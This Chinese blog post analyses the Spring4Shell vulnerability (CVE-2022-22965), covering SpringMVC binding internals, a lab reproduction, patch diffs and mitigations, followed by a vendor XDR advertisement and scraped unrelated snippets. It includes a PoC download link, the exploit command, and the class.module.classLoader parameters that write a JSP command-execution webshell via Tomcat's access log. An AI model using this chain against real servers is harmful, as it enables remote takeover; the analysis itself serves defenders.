【干货】Spring远程命令执行漏洞(CVE-2022-22965)原理分析和思考

2023-11-17

前言

上周网上爆出Spring框架存在RCE漏洞,野外流传了一小段时间后,Spring官方在3月31日正式发布了漏洞信息,漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析,希望能够帮助到有相关有需要的人员进一步研究。##1. 前置知识

###1.1 SpringMVC参数绑定

为了方便编程,SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller方法的参数,自动完成类型转换和赋值。之后,Controller方法就可以直接使用这些参数,避免了需要编写大量的代码从HttpServletRequest中获取请求数据以及类型转换。下面是一个简单的示例:import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controllerpublic class UserController {@RequestMapping(“/addUser”)public @ResponseBody String addUser(User user) {return “OK”;}}public class User {private String name;private Department department;public String getName() {return name;}public void setName(String name) {this.name = name;}public Department getDepartment() {return department;}public void setDepartment(Department department) {this.department = department;}}public class Department {private String name;public String getName() {return name;}public void setName(String name) {this.name = name;}}当请求为 :

/addUser?name=test&department.name=SEC时,public String addUser(User
user)中的user参数内容如下:

可以看到,name自动绑定到了user参数的name属性上,department.name自动绑定到了user参数的department属性的name属性上。

注意department.name这项的绑定,表明SpringMVC支持多层嵌套的参数绑定。实际上department.name的绑定是Spring通过如下的调用链实现的:User.getDepartment()Department.setName()

假设请求参数名为foo.bar.baz.qux,对应Controller方法入参为Param,则有以下的调用链:Param.getFoo()Foo.getBar()Bar.getBaz()Baz.setQux() // 注意这里为set

SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)。###1.2 Java BeanPropertyDescriptor

PropertyDescriptor是JDK自带的java.beans包下的类,意为属性描述器,用于获取符合Java
Bean规范的对象属性和get/set方法。下面是一个简单的例子:import java.beans.BeanInfo;import java.beans.Introspector;import java.beans.PropertyDescriptor;public class PropertyDescriptorDemo {public static void main(String[] args) throws Exception {User user = new User();user.setName(“foo”);BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();PropertyDescriptor userNameDescriptor = null;for (PropertyDescriptor descriptor : descriptors) {if (descriptor.getName().equals(“name”)) {userNameDescriptor = descriptor;System.out.println("userNameDescriptor: " + userNameDescriptor);System.out.println("Before modification: ");System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));userNameDescriptor.getWriteMethod().invoke(user, “bar”);}}System.out.println("After modification: ");System.out.println("user.name: " + userNameDescriptor.getReadMethod().invoke(user));}}userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]Before modification: user.name: fooAfter modification: user.name: bar

从上述代码和输出结果可以看到,PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合。###1.3 SpringBeanWrapperImpl

在Spring中,BeanWrapper接口是对Bean的包装,定义了大量可以非常方便的方法对Bean的属性进行访问和设置。

BeanWrapperImpl类是BeanWrapper接口的默认实现,BeanWrapperImpl.wrappedObject属性即为被包装的Bean对象,BeanWrapperImpl对Bean的属性访问和设置最终调用的是PropertyDescriptor。import org.springframework.beans.BeanWrapper;import org.springframework.beans.BeanWrapperImpl;public class BeanWrapperDemo {public static void main(String[] args) throws Exception {User user = new User();user.setName(“foo”);Department department = new Department();department.setName(“SEC”);user.setDepartment(department);BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);userBeanWrapper.setAutoGrowNestedPaths(true);System.out.println("userBeanWrapper: " + userBeanWrapper);System.out.println("Before modification: ");System.out.println("user.name: " + userBeanWrapper.getPropertyValue(“name”));System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue(“department.name”));userBeanWrapper.setPropertyValue(“name”, “bar”);userBeanWrapper.setPropertyValue(“department.name”, “IT”);System.out.println("After modification: ");System.out.println("user.name: " + userBeanWrapper.getPropertyValue(“name”));System.out.println("user.department.name: " + userBeanWrapper.getPropertyValue(“department.name”));}}userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]Before modification: user.name: foouser.department.name: SECAfter modification: user.name: baruser.department.name: IT

从上述代码和输出结果可以看到,通过BeanWrapperImpl可以很方便地访问和设置Bean的属性,比直接使用PropertyDescriptor要简单很多。###1.4TomcatAccessLogValve 和 access_log

Tomcat的Valve用于处理请求和响应,通过组合了多个Valve的Pipeline,来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve,所有部署在Tomcat中的Web应用均会执行该Valve,内容如下:<Valve className=“org.apache.catalina.valves.AccessLogValve” directory=“logs"prefix=“localhost_access_log” suffix=”.txt"pattern=“%h %l %u %t “%r” %s %b” />

下面列出配置中出现的几个重要属性:

· directory:access_log文件输出目录。

· prefix:access_log文件名前缀。

· pattern:access_log文件内容格式。

· suffix:access_log文件名后缀。

· fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd。##2. 漏洞复现

1.创建一个maven项目,pom.xml内容如下:<?xml version="1.0" encoding="UTF-8"?><project xmlns=“http://maven.apache.org/POM/4.0.0” xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation=“http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd”>4.0.0org.springframework.bootspring-boot-starter-parent2.6.3 com.exampleCVE-2022-229650.0.1-SNAPSHOTwarorg.springframework.bootspring-boot-starter-weborg.springframework.bootspring-boot-starter-tomcatprovidedorg.springframework.bootspring-boot-maven-plugin

2.项目中添加如下代码,作为SpringBoot的启动类:import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.boot.builder.SpringApplicationBuilder;import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;@SpringBootApplicationpublic class ApplicationMain extends SpringBootServletInitializer {@Overrideprotected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {return builder.sources(ApplicationMain.class);}public static void main(String[] args) {SpringApplication.run(ApplicationMain.class, args);}}

3.将章节1.1 SpringMVC参数绑定中的User类和UserController类添加到项目中。

4.执行maven打包命令,将项目打包为war包,命令如下:mvn clean package

5.将项目中target目录里打包生成的CVE-2022-22965-0.0.1-SNAPSHOT.war,复制到Tomcat的webapps目录下,并启动Tomcat。

6.从https://github.com/BobTheShoplifter/Spring4Shell-
POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 下载POC文件,执行如下命令:python3 poc.py --url http://localhost:8080/CVE-2022-22965-0.0.1-SNAPSHOT/addUser

7.浏览器中访问http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator,复现漏洞。

##3. 漏洞分析

###3.1 POC分析

我们从POC入手进行分析。通过对POC中的data URL解码后可以拆分成如下5对参数。

3.1.1pattern参数

参数名:class.module.classLoader.resources.context.parent.pipeline.first.pattern

参数值:

%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a
= -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new
String(b)); } } %{suffix}i

很明显,这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链:User.getClass()java.lang.Class.getModule()…SomeClass.setPattern()那实际运行过程中的调用链是怎样的呢?SomeClass是哪个类呢?带着这些问题,我们在前置知识中提到的实现SpringMVC参数绑定的主要方法WebDataBinder.doBind(MutablePropertyValues)上设置断点。

经过一系列的调用逻辑后,我们来到AbstractNestablePropertyAccessor第814行,getPropertyAccessorForPropertyPath(String)方法。该方法通过递归调用自身,实现对class.module.classLoader.resources.context.parent.pipeline.first.pattern的递归解析,设置整个调用链。

我们重点关注第820行, AbstractNestablePropertyAccessor nestedPa =
getNestedPropertyAccessor(nestedProperty);,该行主要实现每层嵌套参数的获取。我们在该行设置断点,查看每次递归解析过程中各个变量的值,以及如何获取每层嵌套参数。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pfaSyayF-1689995877791)(https://image.3001.net/images/20220406/1649228676_624d3b845b663fdfabf95.png!small)] 第一轮迭代

进入

getPropertyAccessorForPropertyPath(String)

方法前:

· this:User的BeanWrapperImpl包装实例

·
propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern

·
nestedPath:module.classLoader.resources.context.parent.pipeline.first.pattern

·nestedProperty:class,即本轮迭代需要解析的嵌套参数

进入方法,经过一系列的调用逻辑后,最终来到BeanWrapperImpl第308行,BeanPropertyHandler.getValue()方法中。可以看到class嵌套参数最终通过反射调用User的父类java.lang.Object.getClass(),获得返回java.lang.Class实例。

getPropertyAccessorForPropertyPath(String)方法返回后:

this:User的BeanWrapperImpl包装实例

propertyPath:class.module.classLoader.resources.context.parent.pipeline.first.pattern

nestedPath:module.classLoader.resources.context.parent.pipeline.first.pattern,作为下一轮迭代的propertyPath

nestedProperty:class,即本轮迭代需要解析的嵌套参数

nestedPa:java.lang.Class的BeanWrapperImpl包装实例,作为下一轮迭代的this

经过第一轮迭代,我们可以得出第一层调用链:User.getClass()java.lang.Class.get???() // 下一轮迭代实现

第二轮迭代

module嵌套参数最终通过反射调用java.lang.Class.getModule(),获得返回java.lang.Module实例。

经过第二轮迭代,我们可以得出第二层调用链:User.getClass()java.lang.Class.getModule()java.lang.Module.get???() // 下一轮迭代实现

第三轮迭代

classLoader嵌套参数最终通过反射调用java.lang.Module.getClassLoader(),获得返回org.apache.catalina.loader.ParallelWebappClassLoader实例。

经过第三轮迭代,我们可以得出第三层调用链:User.getClass()java.lang.Class.getModule()java.lang.Module.getClassLoader()org.apache.catalina.loader.ParallelWebappClassLoader.get???() // 下一轮迭代实现

接着按照上述调试方法,依次调试剩余的递归轮次并观察相应的变量,最终可以得到如下完整的调用链:User.getClass()java.lang.Class.getModule()java.lang.Module.getClassLoader()org.apache.catalina.loader.ParallelWebappClassLoader.getResources()org.apache.catalina.webresources.StandardRoot.getContext()org.apache.catalina.core.StandardContext.getParent()org.apache.catalina.core.StandardHost.getPipeline()org.apache.catalina.core.StandardPipeline.getFirst()org.apache.catalina.valves.AccessLogValve.setPattern()

可以看到,pattern参数最终对应AccessLogValve.setPattern(),即将AccessLogValve的pattern属性设置为%{c2}i
if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in =
%{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a
= -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new
String(b)); } } %{suffix}i,也就是access_log的文件内容格式。

我们再来看pattern参数值,除了常规的Java代码外,还夹杂了三个特殊片段。通过翻阅AccessLogValve的父类AbstractAccessLogValve的源码,可以找到相关的文档:

即通过AccessLogValve输出的日志中可以通过形如%{param}i等形式直接引用HTTP请求和响应中的内容。完整文档请参考文章末尾的参考章节。

结合poc.py中headers变量内容:headers = {“suffix”:“%>//”,“c1”:“Runtime”,“c2”:“<%”,“DNT”:“1”,“Content-Type”:“application/x-www-form-urlencoded”}

最终可以得到AccessLogValve输出的日志实际内容如下(已格式化):<%if(“j”.equals(request.getParameter(“pwd”))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“cmd”)).getInputStream();int a = -1;byte[] b = new byte[2048];while((a=in.read(b))!=-1){out.println(new String(b));}}%>//

很明显,这是一个JSP webshell。这个webshell输出到了哪儿?名称是什么?能被直接访问和正常解析执行吗?我们接下来看其余的参数。

3.1.2suffix参数

参数名:

class.module.classLoader.resources.context.parent.pipeline.first.suffix

参数值:.jsp

按照pattern参数相同的调试方法,suffix参数最终将AccessLogValve.suffix设置为.jsp,即access_log的文件名后缀。

3.1.3directory参数

参数名:class.module.classLoader.resources.context.parent.pipeline.first.directory

参数值:webapps/ROOT

按照pattern参数相同的调试方法,directory参数最终将AccessLogValve.directory设置为webapps/ROOT,即access_log的文件输出目录。

这里提下webapps/ROOT目录,该目录为Tomcat
Web应用根目录。部署到目录下的Web应用,可以直接通过http://localhost:8080/根目录访问。

3.1.4prefix参数

参数名:class.module.classLoader.resources.context.parent.pipeline.first.prefix

参数值:tomcatwar

按照pattern参数相同的调试方法,prefix参数最终将AccessLogValve.prefix设置为tomcatwar,即access_log的文件名前缀。

3.1.5fileDateFormat参数

参数名:class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat

参数值:空

按照pattern参数相同的调试方法,fileDateFormat参数最终将AccessLogValve.fileDateFormat设置为空,即access_log的文件名不包含日期。

3.1.6 总结

至此,经过上述的分析,结论非常清晰了:通过请求传入的参数,利用SpringMVC参数绑定机制,控制了Tomcat
AccessLogValve的属性,让Tomcat在webapps/ROOT目录输出定制的“访问日志”tomcatwar.jsp,该“访问日志”实际上为一个JSP
webshell。

在SpringMVC参数绑定的实际调用链中,有几个关键点直接影响到了漏洞能否成功利用。###3.2 漏洞利用关键点

3.2.1 关键点一:Web应用部署方式

从java.lang.Module到org.apache.catalina.loader.ParallelWebappClassLoader,是将调用链转移到Tomcat,并最终利用AccessLogValve输出webshell的关键。

ParallelWebappClassLoader在Web应用以war包部署到Tomcat中时使用到。现在很大部分公司会使用SpringBoot可执行jar包的方式运行Web应用,在这种方式下,我们看下classLoader嵌套参数被解析为什么,如下图:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MXQTdRWM-1689995877794)(https://image.3001.net/images/20220406/1649229024_624d3ce0c521ee80ea005.png!small)]

可以看到,使用SpringBoot可执行jar包的方式运行,classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,查看其源码,没有getResources()方法。具体源码请参考文章末尾的参考章节。

这就是为什么本漏洞利用条件之一,Web应用部署方式需要是Tomcat war包部署。

3.2.2 关键点二:JDK版本

在前面章节中AbstractNestablePropertyAccessor nestedPa =
getNestedPropertyAccessor(nestedProperty);调用的过程中,实际上Spring做了一道防御。

Spring使用org.springframework.beans.CachedIntrospectionResults缓存并返回Java
Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults第289行构造方法中:

该行的意思是:当Bean的类型为java.lang.Class时,不返回classLoader和protectionDomain的PropertyDescriptor。Spring在构建嵌套参数的调用链时,会根据CachedIntrospectionResults缓存的PropertyDescriptor进行构建:

不返回,也就意味着class.classLoader…这种嵌套参数走不通,即形如下方的调用链:Foo.getClass()java.lang.Class.getClassLoader()BarClassLoader.getBaz()…

这就是为什么本漏洞利用条件之二,JDK>=1.9。##4. 补丁分析

###4.1 Spring 5.3.18补丁

通过对比Spring 5.3.17和5.3.18的版本,可以看到在3月31日有一项名为“Redefine PropertyDescriptor
filter的”提交。

进入该提交,可以看到对CachedIntrospectionResults构造函数中Java
Bean的PropertyDescriptor的过滤条件被修改了:当Java
Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。在章节3.2.2
关键点二:JDK版本中,利用java.lang.Class.getModule()的链路就走不通了。

###4.2 Tomcat 9.0.62补丁

通过对比Tomcat 9.0.61和9.0.62的版本,可以看到在4月1日有一项名为“Security hardening. Deprecate
getResources() and always return null.”提交。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iS8YijK4-1689995877795)(https://image.3001.net/images/20220406/1649229201_624d3d917d8ad279fe5bf.png!small)]

进入该提交,可以看到对getResources()方法的返回值做了修改,直接返回null。WebappClassLoaderBase即ParallelWebappClassLoader的父类,在章节3.2.1
关键点一:Web应用部署方式中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。

##5. 思考

通过将代码输出到日志文件,并控制日志文件被解释执行,这在漏洞利用方法中也较为常见。通常事先往服务器上写入包含代码的“日志”文件,并利用文件包含漏洞解释执行该“日志”文件。写入“日志”文件可以通过Web服务中间件自身的日志记录功能顺带实现,也可以通过SQL注入、文件上传漏洞等曲线实现。

与上文不同的是,本次漏洞并不需要文件包含。究其原因,Java Web服务中间件自身也是用Java编写和运行的,而部署运行在上面的Java
Web应用,实际上是Java Web服务中间件进程的一部分,两者间通过Servlet
API标准接口在进程内部进行“通讯”。依靠Java语言强大的运行期反射能力,给予了攻击者可以通过Java Web应用漏洞进而攻击Java
Web服务中间件的能力。也就是本次利用Web应用自身的Spring漏洞,进而修改了Web服务中间件Tomcat的access_log配置内容,直接输出可执行的“日志”文件到Web
应用目录下。

在日常开发中,应该严格控制Web应用可解释执行目录为只读不可写,日志、上传文件等运行期可以修改的目录应该单独设置,并且不可执行。

本次漏洞虽然目前调用链中仅利用到了Tomcat,但只要存在一个从Web应用到Web服务中间件的class.module.classLoader…合适调用链,理论上Jetty、Weblogic、Glassfish等也可利用。另外,目前通过写入日志文件的方式,也可能通过其它文件,比如配置文件,甚至是内存马的形式出现。

本次漏洞目前唯一令人“欣慰”的一点是,仅对JDK>=1.9有效。相信不少公司均为“版本任你发,我用Java
8!”的状态,但这也仅仅是目前。与其抱着侥幸心理,不如按计划老老实实升级Spring。###析策XDR平台

同Log4jShell中的Log4j2一样,Spring框架几乎是一个类似JDK级别的基础类库,即便自身应用程序里完成了升级,但仍有极其庞大的其它框架、中间件,导致升级工作同样极为困难。绝大部分公司采取的方案是在边界防护设备上使用“临时补丁”的方式。同时,大量bypass方法也随之而来,这将是一个漫长的过程。

“临时补丁”意味着无法根除,而底层依赖的升级又极为耗时,那么,如何更好地发现并规避在此期间产生的风险呢?

极盾科技的析策XDR平台,通过收集企业内部各类安全日志、流量,基于这些数据进行全局的、跨端的实时关联分析,挖掘其中隐匿的风险,并提供一套可灵活编排的风险处置流程,最大程度上提升了企业的安全感知和处理能力。即便有人利用本漏洞突破了边界,在造成更大影响之前,通过多端数据的关联分析,即可更早地被析策XDR平台感知到入侵是否已经发生了,进行到了哪个阶段,可以及时阻断处理。平台更详细的介绍见如下链接:

方法也随之而来,这将是一个漫长的过程。

“临时补丁”意味着无法根除,而底层依赖的升级又极为耗时,那么,如何更好地发现并规避在此期间产生的风险呢?

极盾科技的析策XDR平台,通过收集企业内部各类安全日志、流量,基于这些数据进行全局的、跨端的实时关联分析,挖掘其中隐匿的风险,并提供一套可灵活编排的风险处置流程,最大程度上提升了企业的安全感知和处理能力。即便有人利用本漏洞突破了边界,在造成更大影响之前,通过多端数据的关联分析,即可更早地被析策XDR平台感知到入侵是否已经发生了,进行到了哪个阶段,可以及时阻断处理。平台更详细的介绍见如下链接:

https://www.jidun.cn/product/xice##参考* Tomcat access_log配置参考文档:https://tomcat.apache.org/tomcat-9.0-doc/config/valve.html#Access_Logging* Spring 5.3.17和5.3.18版本比较:https://github.com/spring-projects/spring-framework/compare/v5.3.17…v5.3.18* Spring 5.3.18补丁提交内容:https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15* Tomcat 9.0.61和9.0.62版本比较:https://github.com/apache/tomcat/compare/9.0.61…9.0.62* Tomcat 9.0.62补丁提交内容:https://github.com/apache/tomcat/commit/8a904f6065080409a1e00606cd7bceec6ad8918c* LaunchedURLClassLoader源码:https://github.com/spring-projects/spring-boot/blob/main/spring-boot-project/spring-boot-tools/spring-boot-loader/src/main/java/org/springframework/boot/loader/LaunchedURLClassLoader.java

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【点下方卡片】就可以领取了,无偿分享

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【干货】Spring远程命令执行漏洞(CVE-2022-22965)原理分析和思考 的相关文章

  • 从另一个进程捕获 system.out 消息

    我有一个 JVM 1 它启动 JVM 2 我希望能够在 JVM 1 中监视来自 JVM 2 的 System out println 调用 直接的方法是 JVM A 执行系统命令来启动 JVM B 然后 JVM A 读取 B 的所有输出 S
  • 如何将完整的日期格式拆分为日期和时间?

    我有很多格式为我的示例所示的字符串 我必须解析它们 我正在尝试确定今天是哪根弦 我的问题是 时间快到了 我只需要比较那个日期 接下来我想检查时间是否在 after 和 before 的两个时间戳 HH mm ss 之间 但存在问题 日期几乎
  • Grails 项目 - Servlet 调用 - ClassNotFoundException:javax.servlet.AsyncContext

    我在用 IntelliJ IDEA 终极版 12 4 grails 2 2 0 BuildConfig groovy 文件中的 grails servlet version 2 5 并实现了简单的 servlet post 请求 使用 RE
  • 卡夫卡监听器中的钩子

    kafka 监听消息之前 之后是否有任何类型的钩子可用 使用案例 必须设置MDC关联id才能进行日志溯源 我在寻找什么 之前 之后回调方法 以便可以在进入时设置 MDC 关联 ID 并最终在退出时清除 MDC 编辑后的场景 我将关联 id
  • org.openqa.selenium.NoSuchSessionException:会话 ID 为空。调用 quit() 后使用 WebDriver?

    我已经进行了一些搜索 但仍然遇到同样的问题 我相信这可能是由于我的网络驱动程序是静态的造成的 我不太确定 在我的主课中 我包括了 BeforeTest and AfterTest BeforeTest包括根据我的 XML 文件启动新浏览器
  • NIO 直接缓冲区何时以及如何被释放?

    我有一个 C 库 需要一个临时缓冲区作为暂存空间 我正在考虑将直接字节缓冲区的地址传递给它 在最终释放缓冲区之前 是否允许虚拟机重新定位缓冲区 JNI 框架消失后 本机库将保留该指针 我的理解是 JNI 本地对象引用无法缓存 因为 VM 可
  • 为什么当达到 InitiatingHeapOccupancyPercent 时 G1 不开始标记周期?

    根据文档 http www oracle com technetwork articles java g1gc 1984535 html XX InitiatingHeapOccupancyPercent 设置触发标记周期的Java堆占用阈
  • Java 客户端到服务器未知来源

    我有一个简单的乒乓球游戏 需要通过网络工作 服务器将创建一个带有球和 2 个球棒位置的游戏 当客户端连接到服务器时 服务器将创建一个名为 PongPlayerThread 的新类 它将处理客户端到服务器的输入和输出流 我的服务器工作100
  • Eclipse RCP - 将视图与编辑器区域堆叠?

    在开发 Eclipse RCP 应用程序时 是否可以将视图与编辑器区域堆叠在一起 像这样 我有多个列表 表格 我想创建一种预览组合 当通过单击鼠标选择列表上的项目时 我希望我的预览合成显示该项目的数据 如果用户双击某个项目 我想在预览合成后
  • ThreadPoolExecutor 和队列

    我以为使用线程池执行器 http docs oracle com javase 6 docs api java util concurrent ThreadPoolExecutor html我们可以提交Runnables 要在以下位置执行B
  • java.lang.ClassNotFoundException: org.jboss.logging.Logger

    我有一个奇怪的问题 我有一个JMS https en wiktionary org wiki JMS客户端应用程序和MDB https en wikipedia org wiki Enterprise JavaBeans Message d
  • Java ArrayList 和 HashMap 动态

    有人可以提供一个创建Java的例子吗ArrayList and HashMap在飞行中 所以而不是做一个add or put 实际上在类实例化时为数组 哈希提供种子数据 举个例子 类似于 PHP 的例子 array array 3 1 2
  • Java 声音可视化器

    我正在尝试制作一个java声音可视化工具 但我完全不知道如何在实时处理音频后立即从提取的音频中获取字节 我可以将程序与 wav 文件同步 但这不是我想要做的 我想用程序生成声音 然后播放它 而不将其保存在任何地方 谢谢您的帮助 本文可以帮助
  • 使用 Haskell 将函数注入到 Java .class 文件中

    我使用 Haskell 编写了一个 Java 字节码解析器 它工作得很好 然而下一步让我完全难住了 我的 Haskell 程序需要修改 class 文件 以便在执行时 Java 程序打印 输入 此处的方法名称 在执行方法之前 并且 退出 此
  • “强制更新快照/版本” - 这是什么意思

    在 Maven 项目中 选择 更新项目 时 有一个名为 强制更新快照 版本 的选项 它有什么作用 强制更新快照 版本 就像运行以下命令 mvn U install U 也可以用作 update snapshot 看here http boo
  • Web 服务客户端的 AXIS 与 JAX-WS

    我决定用Java 实现Web 服务客户端 我已经在 Eclipse 中生成了 Axis 客户端 并使用 wsimport 生成了 JAS WS 客户端 两种解决方案都有效 现在我必须选择一种来继续 在选择其中之一之前我应该 考虑什么 JAX
  • 没有运算符与给定名称和参数类型匹配。您可能需要添加显式类型转换。 -- Netbeans、Postgresql 8.4 和 Glassfish

    我正在尝试使用 EclipseLink 在 Glassfish 中使用 JPA 编辑 Postgresql 中的表 当我插入一个实体时 它运行良好 但是 当我尝试编辑或删除同一实体时 它失败并出现以下错误 任何想法 Caused by Ex
  • 背景图像隐藏其他组件,例如按钮标签等,反之亦然

    如何解决此代码中组件的隐藏问题 代码运行没有错误 但背景图片不显示 如何更改代码以获取背景图像 使用验证方法时 它在validation 中创建错误 public class TEST public TEST String strm Jan
  • Android Webview:无法调用确定的可见性() - 从未见过 pid 的连接

    我有一个 Android Webview 当我单击链接下载文件 pdf 图像等 时 我收到一条错误消息 Error message Cannot call determinedVisibility never saw a connectio
  • 需要在没有wsdl的情况下调用soap ws

    我是网络服务的新手 这个网络服务是由 siebel 提供的 我需要调用一项网络服务 我的客户向我提供了以下详细信息 这是 SOAP 对于产品 请使用它作为端点 Request

随机推荐

  • Web后端开发(请求响应)上

    请求响应的概述 浏览器 请求 lt HTTP协议 gt 响应 Web服务器 请求 获取请求数据 响应 设置响应数据 BS架构 浏览器 服务器架构模式 客户端只需要浏览器 应用程序的逻辑和数据都存储在服务端 维护方便 体验一般 CS架构 客户
  • Navicat15工具连接PostgreSQL15失败

    1 错误现象及原因 错误现象 错误原因 postgresql 15版本中 pg database 系统表把 datlastsysoid 列删除了 所以造成了此错误 2 解决方法 1 将Navicat工具更新到官网最新版本 2 更换 post
  • uboot SPL framework的前世今生

    一开始只有uboot 没有SPL 后来由于一些原因 参考文献1 有些公司如TI添加了SPL 模块 SPL的作用为 参考文献2 为了提高代码的可重用性 uboot 2012 10中将SPL模块标准化 叫做SPL framework 查看ubo
  • 双指针技巧总结

    一 双指针技巧 情景1 通常 我们只需要一个指针进行迭代 即从数组中的第一个元素开始 最后一个元素结束 然而 有时我们会使用两个指针进行迭代 双指针的典型场景 1 从两端向中间迭代数组 2 一个指针从头部开始 而另一个指针从尾部开始 1 反
  • python获取最大、最小值

    1 获取数组极值 并返回索引 c 10 5 0 5 3 10 15 20 25 print c index min c 返回最小值 print c index max c 返回最大值 2 对series求最值 file path D Rec
  • 【C++】模板初阶

    文章目录 1 文件的编译和链接 1 1编译 1 2链接 2 函数模板 2 1函数模板格式 2 2函数模板的显示实例化 2 3非模板函数和同名函数模板的调用顺序 3 类模板 4 模板声明和定义分离的情况 1 文件的编译和链接 1 1编译 编译
  • (一)linux系统简介, centos简介及特点,设置静态IP,防火墙

    本章重点 linux系统简介及特点 下载安装 网络和防火墙的相关命令 具体内容 linux系统简介 Linux 内核最初只是由芬兰人林纳斯 托瓦兹 Linus Torvalds 在赫尔辛基大学上学时出于个人爱好而编写的 git 代码同步技术
  • [007]爬虫系列

    一 背景 有些时候网站开发者为了反爬 会做一些状态码欺骗的处理 原理如下 例如 浏览器发送一个请求 获取一个js文件 服务器返回状态码 例如 503等 此时浏览器就会按照状态码503给它做相应的处理 即 浏览器为了速度 会清缓存 所以直接s
  • 压力测试工具apache-ab讲解

    最近在做webservices 得到的数据是从德国那边的服务器 要将这些数据整合到现在网站中去 不知道性能如何 就做个压力测试 现在有些压力测试工具都是收费的 在开源的apache中自带个ab工具 就在C Apache2 2 bin ab
  • Leetcode初级算法——链表

    删除链表中的节点 请编写一个函数 使其可以删除某个链表中给定的 非末尾 节点 传入函数的唯一参数为 要被删除的节点 现有一个链表 head 4 5 1 9 它可以表示为 示例 输入 head 4 5 1 9 node 5 输出 4 1 9
  • pycharm使用anaconda

    一 Anaconda 1 简介 Anaconda就是可以方便的对的python包进行管理 并且可以通过可视化界面对虚拟环境进行管理 Anaconda包含大部分python库 且自带jupyter notebook等一系列应用 实在是学习py
  • Anaconda Prompt 如何切换工作路径

    Anaconda Prompt 默认路径 默认路径是你的用户名路径 切换路径 Anaconda Prompt在默认路径下 无法直接cd到其他盘 只能在根目录下进行切换盘符 在用户名路径下 输入cd 切换到根目录 返回根目录 使用cd 切换到
  • Office 之将 PPT 图片完美插入 Word

    将 PPT 图片完美插入 Word 原始文档 https www yuque com lart tools wdg4ww 前言 PPT 提供了简单易用的基本绘图支持 而 Word 则提供了专业的文档撰写和处理的支持 但这些工具并不是独立且互
  • 国内版ChatGPT插件来了,快速帮你阅读分析一本书,拆书神器

    好消息 我们都知道 自 OpenAI 开放插件后 其插件数量一直在迅速增加 据国外网友统计 最新的插件总数已经有 430 个 与 5 月 13 日刚开放时的 74 个相比 增长超过 400 而现在 文心一言网页版也正式添加了插件机制 普通用
  • 数据库操作不再困难,MyBatis动态Sql标签解析

    系列文章目录 MyBatis缓存原理 Mybatis的CachingExecutor与二级缓存 Mybatis plugin 的使用及原理 MyBatis四大组件Executor StatementHandler ParameterHand
  • 网页设计,前端大作业-个人主页网站

    个人主页网站 下载链接在文末 个人介绍 比较简单的一个网站适合初学者学习使用 点我下载
  • 简单有效,如何彻底卸载删除AlibabaProtect.exe

    简单有效 如何彻底卸载删除AlibabaProtect exe Process Hacker https www isharepc com 33781 html
  • Java常量池理解和经典总结

    Java常量池理解和经典总结 一 相关知识 1 什么是常量 第一种 是一个值 这个值本身 我们就叫做常量 整型常量 1024 实型常量 1 024 字符常量 g c w 字符串常量 gcw 逻辑常量 true false 这只是我们平时我们
  • JPEG数据格式分析

    添加链接描述 参考如让 感谢原创分享 JPEG数据分析 分析对象是一幅8x8的jpg图片 如下 图片已被放大并被虚线切分 这里写图片描述 用windows照片查看器查看图片详细信息 信息 参数 大小 667字节 尺寸 8x8 宽度 8像素
  • 【干货】Spring远程命令执行漏洞(CVE-2022-22965)原理分析和思考

